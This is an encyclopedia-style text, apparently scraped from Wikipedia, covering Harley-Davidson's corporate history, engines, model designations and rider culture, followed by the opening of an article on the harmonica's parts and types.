          In 1960, Harley-Davidson consolidated the Model 165 and Hummer lines into the Super-10, introduced the Topper scooter, and bought fifty percent of Aeronautica Macchi's motorcycle division. Importation of Aermacchi's 250 cc horizontal single began the following year. The bike bore Harley-Davidson badges and was marketed as the Harley-Davidson Sprint.


          After the Pacer and Scat models were discontinued at the end of 1965, the Bobcat became the last of Harley-Davidson's American-made two-stroke motorcycles. The Bobcat was manufactured only in the 1966 model year.


          Harley-Davidson's entry in the lightweight two-stroke market for 1967 was the M-65, built by Aermacchi and offered in base form with a semi-step thru frame and tank and as the M-65S (Sport) with a larger tank (later used on the 1968 Rapido).


          The company re-entered the 125 cc two-stroke market in 1968 with the introduction of the Aermacchi-built Rapido, a 125 cc bike to replace the American-made 2-stroke bikes.


          The engine of the Sprint was increased to 350 cc in 1969 and would remain that size until 1974, when it was replaced by the 250 cc two-stroke SX.


          Harley-Davidson purchased full control of Aermacchi's motorcycle production in 1974 and continued making two-stroke motorcycles there until 1978, when they sold the facility to Cagiva.


          


          Tarnished reputation
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          In 1952, following their application to the US Tariff Commission for a 40% tax on imported motorcycles, Harley-Davidson was charged with restrictive practices. Hollywood also damaged Harley's image with many outlaw biker gang films produced from the 1950s through the 1970s, following the 1947 Hollister, CA biker riot on July 4th. "Harley-Davidson" for a long time was synonymous with the Hells Angels and other outlaw motorcyclists.


          In 1969, American Machinery and Foundry (AMF) bought the company, streamlined production, and slashed the workforce. This tactic resulted in a labor strike and a lower quality of bikes. The bikes were expensive and inferior in performance, handling, and quality to Japanese motorcycles. Sales declined, quality plummeted, and the company almost went bankrupt. The "Harley-Davidson" name was mocked as "Hardly Ableson", "Hardly Driveable," and "Hogly Ferguson", and the nickname "Hog" became pejorative.


          


          Restructuring and revival


          
            [image: 1998 Harley-Davidson FXSTC]

            
              1998 Harley-Davidson FXSTC
            

          


          In 1981, AMF sold the company to a group of thirteen investors led by Vaughn Beals and Willie G. Davidson for $80 million. Inventory was strictly controlled using the Just In Time system.


          In the early eighties, Harley-Davidson claimed the Japanese manufacturers were dumping motorcycles on the US market. After Harley-Davidson rejected aid from Japanese manufacturers, the US International Trade Commission imposed in 1983 a 45% tariff on imported bikes and bikes over 700 cc engine capacities specifically to protect Harley-Davidson.


          Rather than trying to match the Japanese, the new management deliberately exploited the "retro" appeal of the machines, building motorcycles that deliberately adopted the look and feel of their earlier machines and the subsequent customizations of owners of that era. Many components such as brakes, forks, shocks, carburetors, electrics and wheels were outsourced from foreign manufacturers and quality increased, technical improvements were made, and buyers slowly returned. To remain profitable Harley continues to increase the amount of overseas made parts it uses, while being careful not to harm its valuable "American Made" image.
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          The " Sturgis" model, boasting a dual belt-drive, was introduced. By 1990, with the introduction of the "Fat Boy", Harley once again became the sales leader in the heavyweight (over 750 cc) market. At the time of the Fat Boy model introduction a story rapidly spread that its silver paint job and other features were inspired by the World War II American B-29 bomber; and that the Fat Boy name was a combination of the names of the atom bombs ( Fat Man and Little Boy) that were dropped on Nagasaki and Hiroshima respectively. However, the Urban Legend Reference Pages lists this story as an urban legend.


          1994 saw the replacement of the FXR frame with the Dyna, though it was revived briefly in 1999 and 2000 for special limited editions.


          In 1999, Ford Motor Company added a Harley-Davidson edition to the Ford F-Series F-150 line, complete with the Harley-Davidson logo. This truck was an extended-cab for model year 1999. In 2000, Ford changed the truck to a crew cab and in 2002 added a super-charged engine (5.4L) which continued until 2003. In 2004, the Ford/Harley was changed to a Super-Duty, which continues through 2006. Ford again produced a Harley-Davidson Edition F-150 for their 2006 model-year, as well.


          Building started on $75 million 130,000 square-foot (12,000m) Harley-Davidson Museum in the Menomonee River Valley on June 1, 2006. It is expected to open in 2008 and will house the company's vast collection of historic motorcycles and corporate archives, along with a restaurant, caf and meeting space.


          


          Claims of stock price manipulation


          During its period of peak demand, during the late 1990s and early 2000s, Harley-Davidson embarked on a program of expanding the number of dealerships throughout the country. At the same time, its current dealers typically had waiting lists that extended up to a year for some of the most popular models. Harley-Davidson, like the auto manufacturers, records a sale not when a consumer buys their product, but rather when it is delivered to a dealer. Therefore, it is possible for the manufacturer to inflate sales numbers by requiring dealers to accept more inventory than desired in a practice called channel stuffing. When demand softened following the unique 2003 model year, this news lead to a dramatic decline in the stock price. In April 2004 alone, the price of HOG shares dropped from over $60 to under $40. Immediately prior to this decline, retiring CEO Jeffrey Bleustein profited $42 million on the exercise of employee stock options. Harley-Davidson was named as a defendant in numerous class action suits filed by investors who claimed they were intentionally defrauded by Harley-Davidson's management and directors. By January 2007, the price of Harley-Davidson shares reached $70.
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          2007 workers' strike


          On February 2, 2007, upon the expiration of their union contract, about 2,700 employees at Harley-Davidson Inc.'s largest manufacturing plant in York, PA went on strike after failing to agree on wages and health benefits. During the pendency of the strike, the company refused to pay for any portion of the striking employees' health care.


          The day before the strike, after the union voted against the proposed contract and to authorize the strike, the company shut down all production at the plant. The York facility employs more than 3,200 workers, both union and non-union.


          Harley-Davidson announced on February 16, 2007, that it had reached a labor agreement with union workers at its largest manufacturing plant, a breakthrough in the two-week-old strike. The strike disrupted Harley-Davidsons national production and had ripple effects as far away as Wisconsin, where 440 employees were laid off, and many Harley suppliers also laid off workers because of the strike.


          


          Agreement in India


          In a landmark agreement reached during discussions between the U.S. Trade Representative, Susan Schwab, and the Minister for Commerce and Industry of India, Kamal Nath, on April 12, 2007 at New Delhi, Harley-Davidson motorcycles will be allowed access to the Indian market in exchange for the export of Indian mangoes. India had not specified emission standards for motorcycles over 500 cc displacement, effectively prohibiting the import of Harley-Davidson motorcycles, along with most models of other manufacturers, such as Yamaha Motor Co. Ltd. and Suzuki Motor Corporation. The company placed a hold on plans to export their motorcycles to India, due to import duties of 60% and taxes of 30%, which effectively doubled the cost of the motorcycles for the Indian consumer.


          


          Harley-Davidson engines
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          The classic Harley-Davidson engines are two- cylinder, V-twin engines with the pistons mounted in a 45 "V". The crankshaft has a single pin, and both pistons are connected to this pin through their connecting rods.


          This design causes the pistons to fire at uneven intervals, the consequence of an engineering tradeoff to create a large, powerful engine in a small space. This design choice is entirely vestigial from an engineering standpoint, but has been sustained because of the strong connection between the distinctive sound and the Harley-Davidson brand. This design, which is covered under several United States patents, gives the Harley-Davidson V-twin its unique choppy "potato-potato" sound. To simplify the engine and reduce costs, the V-twin ignition was designed to operate with a single set of points and no distributor, which is known as a dual fire ignition system, causing both spark plugs to fire regardless of which cylinder was on its compression stroke, with the other spark plug firing on its cylinder's exhaust stroke, effectively "wasting a spark." The exhaust note is basically a throaty growling sound with some popping.


          The 45 degree design of the engine thus creates a plug firing sequencing as such: The first cylinder fires, the second (rear) cylinder fires 315 later, then there is a 405 gap until the first cylinder fires again, giving the engine its unique sound.


          Harley-Davidson has used various ignition systems throughout its history - be it the early points/condenser system, (Big Twin up to 1978 and Sportsters 1970 to 1978), magneto ignition system used on 1958 to 1969 Sportsters, early electronic with centrifugal mechanical advance weights, (all models 1978 and a half to 1979), or the late electronic with transistorized ignition control module, more familiarly known as the black box or the brain, (all models 1980 to present).


          Starting in 1995, the company introduced Electronic Fuel Injection (EFI) as an option for select models. With the introduction of the 2007 product line, EFI is now standard on all models, including Sportsters.


          In 1991, Harley-Davidson began to participate in the Sound Quality Working Group, founded by Orfield Labs, Bruel and Kjaer, TEAC, Yamaha, Sennheiser, SMS and Cortex. This was the nation's first group to share research on psychological acoustics. Later that year, Harley-Davidson participated in a series of sound quality studies at Orfield Labs, based on recordings taken at the Talladega Superspeedway, with the objective to lower the sound level for EU standards while analytically capturing the "Harley Sound." This research resulted in the bikes that were introduced in compliance with EU standards for 1998.


          On 1 February 1994, the company filed a sound trademark application for the distinctive sound of a Harley-Davidson motorcycle engine: "The mark consists of the exhaust sound of applicant's motorcycles, produced by V-twin, common crankpin motorcycle engines when the goods are in use". Nine of Harley-Davidson's competitors filed comments opposing the application, arguing that cruiser-style motorcycles of various brands use a single-crankpin V-twin engine which produce a similar sound. These objections were followed by litigation. In August 2001, the Company dropped efforts to federally register its trademark. However, legal counsel for the company claims that the Harley-Davidson still holds trademark rights in the sound even without a registration.
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          The Big V-Twins


          
            	F-head, also known as JD, pocket valve and IOE (intake over exhaust), 1914-29 (1,000 ccm), and 1922-29 (1,200 ccm)


            	Flathead, 1930-1948 (1,200 ccm) and 1935-41 (1,300 ccm).


            	Knucklehead, 1936-47 61 cubic inches (1,000 ccm), and 1941-47 74 cubic inches (1,200 ccm)


            	Panhead, 1948-52 61 cubic inches (1,000 ccm), and 1948-65, 74 cubic inches (1,200 ccm)


            	Shovelhead, 1966-85, 74 cubic inches (1,200 ccm) and 82 cubic inches (1,345 ccm) since late 1978


            	Evolution (aka "Evo" and "Blockhead"), 1984-99, 80 cubic inches (1,340 ccm)


            	Twin Cam 88 (aka "Fathead") 1999-2006, 88 cubic inches (1,443 ccm)


            	Twin Cam 88B (counter balanced version of the Twin Cam 88) 2000-2006, 88 cubic inches (1,443 ccm)


            	Twin Cam 96, 2007-present, 96 cubic inches (1,584 ccm)
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          The Small V-Twins


          
            	D Model, 1929-31, 750 cc


            	R Model, 1932-36, 750 cc


            	W Model, 1937-52, 750 cc, solo (2 wheel) frame only)


            	G (Servi-Car) Model, 1932-73, 750 cc


            	K Model, 1952-53, 750 cc


            	KH Model, 1954-56, 900 cc


            	Ironhead, 1957-1971 (900 cc), 1971-85 (1000 cc)


            	Evolution, 1986-present, 883, 1,100 and 1,200 cc
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          The Revolution engine


          The Revolution engine is based on the VR-1000 Superbike race program, developed by Harley-Davidson's Powertrain Engineering team and Porsche Engineering in Stuttgart, Germany. It is a liquid cooled, dual overhead cam, internally counterbalanced 60 degree V-twin engine with a displacement of 69 cubic inches (1130 cc), producing 115horsepower (86kW) at 8250 rpm at the crank, with a redline of 9000 rpm. It was introduced for the new V-Rod line in 2001 for the 2002 model year, starting with the single VRSCA (V-twin V-Twin Racing Street Custom) model.


          A 1250 cc Screamin' Eagle version of the Revolution engine was made available for 2005, and was present thereafter in a single production model from 2005-2007. In 2008, the 1250 cc Revolution Engine became standard for the entire VRSC line. Harley-Davidson claims 123horsepower (92kW) at the crank for the 2008 VRSCAW model. The VRXSE Destroyer is equipped with a stroker (75mm crank) Screamin Eagle 1,300cubic centimetres (79cuin) Revolution Engine, producing over 165horsepower (123kW).


          


          Model designations


          Harley model designations are a sequence of letters and numbers, combined in limited ways. The sequences can be long, as in the 2006 model designation FLHTCUSE.


          The first letter may be one of the following:


          
            	E, J, K ('50s small twin), F, U, V (Big Twin), D, G, R, W (Small Twin), X (Sportster), or V (VRSC)

          


          Letters are appended singly or in pairs, as follows:


          
            	B (Belt Drive), C (Classic or Custom), D (Dyna Glide), DG (Disk Glide), E (Electric start), F (Fat Boy (1990-present) or Foot-shift (1972 and prior)), H (High compression), L (Hydra Glide forks), LR (Low Rider), P (Police), R (Race or Rubber-mount), S (Sport, Springer, or Standard), SB (Single belt final drive), ST ( Softail), T (Touring), WG (Wide Glide), I (Fuel injection), SE (Screamin Eagle), U (Ultra)

          


          Custom Vehicle Operations models can also have a number (2,3,4) added.


          Note that these conventions for model designations are broken regularly by the company.


          


          Current model designations
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            	Sportster With the exception of the street-going XR1000 of the 1980s, all Sportsters made for street use have the prefix XL in their model designation. For the Sportster Evolution engines used since the mid 1980s, there have been two engine sizes. Motorcycles with the smaller engine are designated XL883, while those with the larger engine were initially designated XL1100. When the size of the larger engine was increased from 1,100 cc to 1,200 cc, the designation was changed from XL1100 to XL1200. Subsequent letters in the designation refer to model variations within the sportster range, eg. the XL883C refers to an 883 cc Sportster with cruiser or custom styling, while the XL1200S designates the now-discontinued 1200 Sportster Sport.


            	Dyna models utilize the big-twin engine (F), small-diameter telescopic forks similar to those used on the Sportster (X), and the Dyna chassis (D). Therefore, all Dyna models have designations that begin with FXD, e.g., FXDWG (Wide Glide) and FXDL (Low Rider).


            	
              Softail models utilize the big-twin engine (F) and the Softail chassis (ST).

              
                	Softail models that use small-diameter telescopic forks similar to those used on the Sportster (X) have designations that begin with FXST, e.g., FXSTB (Night Train), FXSTD (Deuce) and FXSTS (Standard).


                	Softail models that use large-diameter telescopic forks similar to those used on the touring bikes (L) have designations beginning with FLST, e.g., FLSTF (Fat Boy), FLSTC (Heritage Softail Classic) and FLSTN (Softail Deluxe - "N" is for Nostalgic).


                	Softail models that use Springer forks with a 21-inch (530mm) wheel have designations that begin with FXSTS, e.g., FXSTS (Springer Softail) and FXSTSB (Bad Boy).


                	Softail models that use Springer forks with a 16-inch (410mm) wheel have designations that begin with FLSTS, e.g., FLSTSC (Springer Classic)

              

            


            	Touring models use Big-Twin engines and large-diameter telescopic forks. All Touring designations begin with the letters FL, e.g., FLHR (Road King) and FLTR (Road Glide)


            	
              Revolution models utilize the Revolution engine (VR), and the street versions are designated Street Custom (SC). After the VRSC- prefix common to all street Revolution bikes, the next letter denotes the model, either A (base V-Rod), B (discontinued), D (Night Rod), R (Street Rod), SE (CVO Special Edition), or X. Further differentiation within models are made with an additional letter, e.g., VRSCDX denotes the Night Rod Special.

              
                	The factory drag bike, the VRXSE Destroyer, uses X instead of SC to denote a non-street bike and SE to denote a CVO Special Edition

              

            

          


          


          Model families


          Modern Harley-branded motorcycles fall into one of five model families: Touring, Softail, Dyna, Sportster and VRSC. Model families are distinguished by the frame, engine, suspension, and other characteristics.


          


          Touring
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          The touring family, also known as "dressers", includes three Road King models, and five Glide models offered in various trim. The Road Kings have a "retro cruiser" appearance and most models are equipped with a large clear windshield. Road Kings are reminiscent of big-twin models from the 1940s and '50s. Glides can be identified by their full front fairings. Most Glides sport a unique fairing referred to as the "Batwing" due to its unmistakable shape. The Road Glide has a different front end, referred to as the "Sharknose". The Sharknose includes a unique, dual front headlight. Touring models are distinguishable by their large luggage, rear coil-over air suspension and are the only models to offer full fairings with Radios/CBs. All touring models use the same frame, first introduced with a Shovelhead motor in 1980, and carried forward with only modest upgrades to this day. The frame is distinguished by the location of the steering head in front of the forks and was the first H-D frame to rubber mount the drivetrain to isolate the rider from the vibration of the big V-twin. Although all touring models weigh in excess of 800lb (360kg)., they are remarkably easy to handle at low speeds and high, and give the most comfortable and relaxing ride of any Harley. The frame was modified for the 1994 model year when the oil tank went under the transmission and the battery was moved inboard from under the right saddlebag to under the seat. In 1997, the frame was again modified to allow for a larger battery under the seat and to lower seat height. In 2007, Harley introduced a the 96 cubic inch motor, as well the 6 speed transmission to give the rider better speeds on the highway.


          In 2006, Harley introduced the FLHX, a bike designed by Willie G. Davidson to be his personal ride, to its touring line.


          In 2008, Harley added anti-lock braking systems and cruise control as a factory installed option on all touring models.


          


          Softail
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          These big-twin motorcycles capitalize on Harley's strong value on tradition. With the rear-wheel suspension invisible on the bottom of the frame, they are visibly similar to the "hardtail" choppers popular in the 1960s and 1970s, as well as from their own earlier history. In keeping with that tradition, Harley offers Softail models with "springer" front ends and "heritage" styling that incorporate design cues from throughout their history.


          


          Dyna
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          Dyna motorcycles feature big-twin engines and traditional styling. They can be distinguished from the Softail by the traditional coil-over suspension that connects the swingarm to the frame, and from the Sportster by their larger engines. On these models, the transmission also houses the engine's oil reservoir.


          In 2007, Harley-Davidson released a line-up of five Dyna models: Super Glide, Super Glide Custom, Street Bob, Low Rider, and Wide Glide.


          In 2008, the "Fat Bob" was re-introduced to the Dyna line-up featuring aggressive styling, including a new 2-1-2 exhaust, twin headlamps, a 180 mm rear tire and a 130 mm front tire.


          


          Sportster
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          Introduced in 1957, the Sportster is the longest-running model family in the Harley-Davidson lineup. They were conceived as racing motorcycles, and were popular on dirt and flat-track race courses through the 1960s and '70s. Smaller and lighter than the other Harley models, contemporary Sportsters make use of 883 or 1,200 cc Evolution engines and, though often modified, remain similar in appearance to their racing ancestors.


          Up until the 2003 model year, the engine on the Sportster was rigidly mounted to the frame. The 2004 Sportster had a new frame accommodating a rubber-mounted engine. Although this made the bike heavier and reduced the available lean angle, it reduced the amount of vibration transmitted to the frame and the rider. The rubber mounted engine provides a significantly smoother ride for rider and passenger. For a bike which isn't really thought of for long rides or trips, the smoother ride allows for this opportunity.


          In the 2007 model year, Harley-Davidson celebrated the 50th anniversary of the Sportster and produced a collectors' edition called the XL50 1200 Custom, of which only 2000 were made for sale worldwide. Each motorcycle was individually numbered and came in one of two colours, Mirage Pearl Orange or Vivid Black. Also in 2007, electronic fuel injection was introduced to the Sportster family, and the Nightster model was introduced.


          


          VRSC
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          Introduced in 2001, the VRSC family bears little resemblance to Harley's more traditional lineup. Competing against Japanese and American muscle bikes and seeking to expand its market appeal, the "V-Rod" makes use of an engine developed jointly with Porsche that, for the first time in Harley history, incorporates fuel injection, overhead cams, and liquid cooling. The V-Rod is visually distinctive, easily identified by the 60-degree V-Twin engine, the radiator and the hydroformed frame members that support the round-topped air cleaner cover. Based on the VR-1000 racing motorcycle, it continues to be a platform around which Harley-Davidson builds drag-racing competition machines. The V-Rod has gathered an enthusiastic following in the U.S., Europe and Australia, and an annual Rally at the Kansas City production facility has been organized by Max Millender and the members of a 21,000+ member strong internet discussion forum www.1130cc.com. Bill Davidson has presented Mr Millender with a signed airbox cover to recognize the contribution the forum has made to the VRSC platform which continues to evolve with models like the Night Rod Special (VRSCDX).


          In 2008, Harley added anti-lock braking systems as a factory installed option on all VRSC models. Harley also increased the displacement of the stock engine from 1130cc (69ci) to 1250cc (73.6ci), which had only been previously available from Screamin' Eagle, and added a slipper clutch as standard equipment.


          VRSC Models Include:


          VRSCA: V-Rod (2002-2006), VRSCAW: V-Rod (2007-2008), VRSCB: V-Rod (2004-2005, VRSCD:Night Rod (2006-2008), VRSCDX: Night Rod Special (2007-2008), VRSCSE: Screamin' Eagle CVO V-Rod (2005), VRSCSE2: Screamin' Eagle CVO V-Rod (2006), VRSCR: Street Rod (2006-2007), VRSCX: Screamin' Eagle Tribute V-Rod (2007).


          


          VRXSE


          The VRXSE V-Rod Destroyer is Harley-Davidson's production drag racing motorcycle, constructed to run the quarter mile in under ten seconds. It is based on the same revolution engine that powers the VRSC line, but the VRXSE uses the Sceamin' Eagle 1300cc "stroked" incarnation, featuring a 75mm crankshaft, 105mm Pistons, and 58mm throttle bodies.


          The V-Rod Destroyer is not a street legal motorcycle.


          


          Environmental record


          The Environmental Protection Agency conducted emissions-certification and representative emissions test in Ann Arbor, Michigan, in 2005. Subsequently, Harley-Davidson produced an "environmental warranty." The warranty warrants the first and following owners after, that each vehicle is designed and built free of defects in materials and workmanship that cause the vehicle to not meet EPA standards. In 2005, the EPA and the Pennsylvania Department of Environmental Protection confirmed Harley-Davidson to be the first corporation to voluntarily enroll in the One Clean-Up Program. This program is designed for the clean-up of the affected soil and groundwater at the former York Naval Ordnance Plant. The program is backed by the state and local government along with participating organizations and corporations.


          Paul Gotthold, Director of Operations for the EPA, congratulated the Motor Company:


          
            
              	

              	
                Harley-Davidson has taken their environmental responsibilities very seriously and has already made substantial progress in the investigation and cleanup of past contamination. Proof of Harley's efforts can be found in the recent EPA determination that designates the Harley property as under control for cleanup purposes. This determination means that there are no serious contamination problems at the facility. Under the new One Cleanup Program, Harley, EPA, and PADEP will expedite the completion of the property investigation and reach a final solution that will permanently protect human health and the environment.

              

              	
            

          


          Harley-Davidson has also purchased most of Castalloy, which is a South Australian producer of cast motorcycle wheels and hubs. The South Australian government has set forth "protection to the purchaser (Harley-Davidson) against environmental risks."


          


          Harley-Davidson culture
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          According to a recent Harley-Davidson study, in 1987 half of all Harley riders were under age 35. Now, only 15% of Harley buyers are under 35, and as of 2005, the median age had risen to 46.7.


          The income of the average Harley-Davidson rider has risen, as well. In 1987, the median household income of a Harley-Davidson rider was $38,000. By 1997, the median household income for those riders had more than doubled, to $83,000.


          Harley-Davidson motorcycles has long been associated with the sub-cultures of the:


          
            	Biker


            	Motorcycle club


            	Outlaw Bikers/One Percenters


            	Outlaw Motorcycle Gangs

          


          


          Origin of "Hog" nickname


          Beginning in 1920, a team of farm boys, including Ray Weishaar, who became known as the "hog boys," consistently won races. The group had a hog, or pig as their mascot. Following a win, they would put the pig (a real one) on their Harley and take a victory lap. In 1983, the Motor Company formed a club for owners of its product taking advantage of the long-standing nickname by turning "hog" into the acronym H.O.G., for Harley Owners Group. Harley-Davidson attempted to trademark "hog", but lost a case against an independent Harley-Davidson specialist, The Hog Farm of West Seneca, NY, in 1999 when the appellate panel ruled that "hog" had become a generic term for large motorcycles and was therefore unprotectable as a trademark.


          On August 15, 2006, Harley-Davidson Inc. had its NYSE ticker symbol changed from HDI to HOG.


          


          Harley-Davidson Riders Club of Great Britain
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          The Harley-Davidson Riders Club of Great Britain (est 1949) was the first British riders club (as opposed to motorcycle club) and organized national rallies and ride-outs from the outset. The 1982 rally began a popular run of events, probably due to the good fortune of having William G. Davidson attending his first rally outside the USA, in Great Britain. He is thought to have been more than curious to discover how the secret "Evolution Motor" had found its world exclusive on the cover of the spring edition of the HDRCGB magazine, the "Harleyquin", but having a forgiving nature, Willie G. returned in 1984, along with Vaughn Beals and Len Thomson to officially show off the Evolution engine by bringing a test ride fleet to the second Brighton International Super Rally run by H.D.R.C.G.B.. The demonstration rides were the first at any European Rally. The club now has circa 1800 members throughput the U. K. U.S.A. and Europe not forgetting their founder member in Australia. The club is split into regions and most hold rallies during the summer culminating in the clubs International Rally. 


          Harley Owners Group


          Harley-Davidson established the Harley Owners Group (abbreviated H.O.G.) in 1983 in response to a growing desire by a new breed of Harley riders for an organized way to share their passion and show their pride. In 1991, H.O.G. went international, with the first official European H.O.G. Rally in Cheltenham, England. Today, more than one million members and more than 1400 chapters worldwide make H.O.G. the largest factory-sponsored motorcycle organization in the world.


          H.O.G. benefits include organized group rides, exclusive products and product discounts, insurance premium discounts, and the Hog Tales newsletter. A one year full membership is included with the purchase of a new, unregistered Harley-Davidson.


          


          
            Retrieved from " http://en.wikipedia.org/wiki/Harley-Davidson"
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                        	Free reed aerophone


                        	Aerophone
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                      For 64-reeds (16-holes) chromatic harmonica: C below Middle C (C) to the D above C5; slightly over 4 octaves
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                      accordion, melodica, harmonium, concertina, sheng, reed organ, Yu
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          A harmonica is a free reed wind instrument. It has multiple, variably-tuned brass or bronze reeds which are secured at one end over an airway slot in which they can freely vibrate. The vibrating reeds repeatedly interrupt the airstream to produce sound.


          Unlike most free reed instruments (such as reed organs, accordions, and melodicas), the harmonica lacks a keyboard - instead, the player selects the notes to be played by placing the mouth over the proper airways, usually discrete holes in the front of the instrument. Each hole communicates with one or more reeds, depending on the type of harmonica. Because a reed mounted above a slot is made to vibrate more easily by air from above, reeds accessed by a mouthpiece hole often may be selected further by choice of breath direction (blowing, drawing). Some harmonicas, primarily the chromatic harmonica, also include a spring-loaded button-actuated slide that, when depressed, redirects the airflow.


          The harmonica is most commonly used in blues and American folk music, but is also used in jazz, classical music, country music, rock and roll, and pop music. Increasingly, the harmonica is finding its place in more electronically generated music, such as dance and hip-hop, as well as funk and acid jazz.


          The harmonica has other nicknames, especially in blues music, including: mouth organ and blues mouth organ.


          


          Parts of the harmonica
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              Reedplate mounted on the comb of a diatonic harmonica.
            

          


          The basic parts of the harmonica are the comb, reed-plates and cover-plates.


          


          Comb


          The comb is the term for the main body of the instrument which contains the air chambers which cover the reeds. The term comb originates from the similarities between simple harmonicas and a hair comb. Harmonica combs were traditionally made from wood, but now are usually made from plastic (ABS) or metal. Some modern and experimental comb designs are very complex in the way that they direct the air.


          Comb material was assumed to have an effect on the tone of the harp. While the comb material does have a slight influence over the sound of the harmonica, the main advantage of a particular comb material over another one is usually its durability. In particular, a wooden comb can absorb moisture from the player's breath and contact with the tongue. This causes the comb to expand slightly, making the instrument uncomfortable to play.


          An even more serious problem with wood combs, especially in chromatic harmonicas (with their thin dividers between chambers) is that the combs shrink over time. Comb shrinkage can lead to cracks in the combs due to the combs being held immobile by nails, resulting in disabling leakage. Much effort is devoted by serious players to restoring wood combs and sealing leaks. Some players used to soak wooden-combed harmonicas ( diatonics, without windsavers) in water to cause a slight expansion which was intended to make the seal between the comb, reed plates and covers more airtight. Modern wooden-combed harmonicas are less prone to swelling and contracting.


          


          Reed-plate


          Reed-plate is the term for a grouping of several reeds in a single housing. The reeds are usually made of brass, but steel, aluminium and plastic are occasionally used. Individual reeds are usually riveted to the reed-plate, but they may also be welded or screwed in place. Reeds fixed on the inside (within the comb's air chamber) of the reed-plate respond to blowing, while those on the outside respond to suction.


          Most harmonicas are constructed with the reed-plates screwed or bolted to the comb or each other. A few brands still use the traditional method of nailing the reed-plates to the comb. Some experimental and rare harmonicas also have had the reed-plates held in place by tension, such as the WWII era all-American models. If the plates are bolted to the comb, the reed plates can be replaced individually. This is useful because the reeds eventually go out of tune through normal use, and certain notes of the scale can fail more quickly than others.


          A notable exception to the traditional reed-plate design is the all-plastic harmonicas designed by Finn Magnus in the 1950s, where the reed and reed-plate were molded out of a single piece of plastic. The Magnus design had the reeds, reed-plates and comb made of plastic and either molded or permanently glued together.


          


          Cover plates


          Cover plates cover the reed-plates and are usually made of metal, though wood and plastic have also been used. The choice of these is personal - because they project sound, they determine the tonal quality of the harmonica. There are two types of cover plates: traditional open designs of stamped metal or plastic, which are simply there to be held, and enclosed designs (such as Hohner Meisterklass and Super 64, Suzuki Promaster and SCX), which offer a louder tonal quality. From these two basic types, a few modern designs have been created, such as the Hohner CBH-2016 chromatic and the Suzuki Overdrive diatonic, which have complex covers that allow for specific functions not usually available in the traditional design. It was not unusual in the late 19th and early 20th centuries to see harmonicas with special features on the covers, such as bells which could be rung by pushing a button.


          


          Other parts


          


          Windsavers


          Windsavers are one-way valves made from very thin strips of plastic, knit paper, leather or teflon glued onto the reed-plate. They are typically found in chromatic harmonicas, chord harmonicas and many octave-tuned harmonicas. Windsavers are used when two reeds share a cell and leakage through the non-playing reed would be significant. For example, when a draw note is played, the valve on the blow reed-slot is sucked shut, preventing air from leaking through the inactive blow reed. An exception to this is the recent Hohner XB-40 where valves are placed not to isolate single reeds but rather to isolate entire chambers from being active.


          


          Mouthpiece


          The mouthpiece is placed between the air chambers of the instrument and the player's mouth. This can be integral with the comb (the diatonic harmonicas, the Hohner Chrometta), part of the cover (as in Hohner's CX-12), or may be a separate unit entirely, secured by screws, which is typical of chromatics. In many harmonicas, the mouthpiece is purely an ergonomic aid designed to make playing more comfortable. However, in the traditional slider-based chromatic harmonica it is essential to the functioning of the instrument because it provides a groove for the slide.


          


          Amplification devices


          While amplification devices are not part of the harmonica itself, since the 1950s, many blues harmonica players have amplified their instrument with microphones and tube amplifiers. One of the early innovators of this approach was Marion "Little Walter" Jacobs, who played the harmonica near a "Bullet" microphone marketed for use by radio taxi dispatchers. This gave his harmonica tone a "punchy" mid-range sound that could be heard above an electric guitar. As well, tube amplifiers produce a natural "overdrive" when they are turned up, which adds body and fullness to the sound. Little Walter also cupped his hands around the instrument, tightening the air around the harp, giving it a powerful, distorted sound, somewhat reminiscent of a saxophone.


          


          Harmonica types


          The harmonica brand that one chooses usually is based on one's ability to play, the pliability of the reeds, sound of the instrument, and price. Although many feel that the best harmonicas are more expensively priced, skilled players often feel that price and quality are not related.


          


          Chromatic harmonica
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          The chromatic harmonica usually uses a button-activated sliding bar to redirect air from the hole in the mouthpiece to the selected reed-plate, although there was one design, the "Machino-Tone", which controlled airflow by means of a lever-operated movable flap on the rear of the instrument. In addition, there is a "hands-free" modification of the Hohner 270 (12-hole) in which the player shifts the tones by moving the mouthpiece up and down with the lips, leaving the hands free to play another instrument. While the Richter-tuned 10-hole chromatic is intended to be played in only one key, the 12-, 14-, and 16-hole models (which are tuned to equal temperament) allow the musician to play in any key desired with only one harmonica. This harp can be used for any style  Celtic, classical, jazz, blues (commonly in third position)  as well as many other styles.


          


          Diatonic harmonicas


          Strictly speaking, "diatonic" denotes any harmonica that is designed for playing in only one key (though the standard "Richter-tuned" diatonic can be played in other keys by forcing its reeds to play tones that are not part of its basic scale; see "Blues harp" below). Depending on the region of the world, "diatonic harmonica" may mean either the tremolo harmonica (in East Asia) or blues harp (In Europe and North America). Invented in the 19th century by Natalie Ann Cummins. Other diatonic harmonicas include octave harmonica.


          


          Tremolo harmonica
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              A tremolo harmonica.
            

          


          The tremolo harmonica's distinguishing feature is that it has two reeds per note, with one a bit sharp and the other a bit flat. This provides a unique wavering or warbling sound created by the two reeds being slightly out of tune with each other and the difference in their subsequent waveforms interacting with each other ( Beat (acoustics)). The Asian version, which has all the notes on it, is used in all East-Asian music, from rock to pop music.


          


          Orchestral harmonicas


          These harmonicas are primarily designed for use in ensemble playing.


          


          Orchestral melody harmonica


          There are two kinds of orchestral melody harmonica: the most common are the Horn harmonicas that are most often found in East Asia. These consist of a single large comb with blow only reed-plates on the top and bottom. Each reed sits inside a single cell in the comb. One version mimics the layout of a piano or mallet instrument, with the natural notes of a C diatonic scale in the lower reed-plate and the sharps/flats in the upper reed-plate in groups of two and three holes with gaps in between like the black keys of a piano (thus there is no E#/Fb hole nor a B#/Cb hole on the upper reed-plate). Another version has one "sharp" reed directly above its "natural" on the lower plate, with the same number of reeds on both plates. "Horn harmonicas" are available in several pitch ranges, with the lowest pitched starting two octaves below middle C and the highest beginning on middle C itself; they usually cover a two or three octave range. They are chromatic instruments and are usually played in an East Asian harmonica orchestra instead of the " push-button" chromatic harmonica that is more common in the European/American tradition. Their reeds are often larger, and the enclosing "horn" gives them a different timbre, so that they often function in place of a brass section. In the past, they were referred to as horn harmonicas.


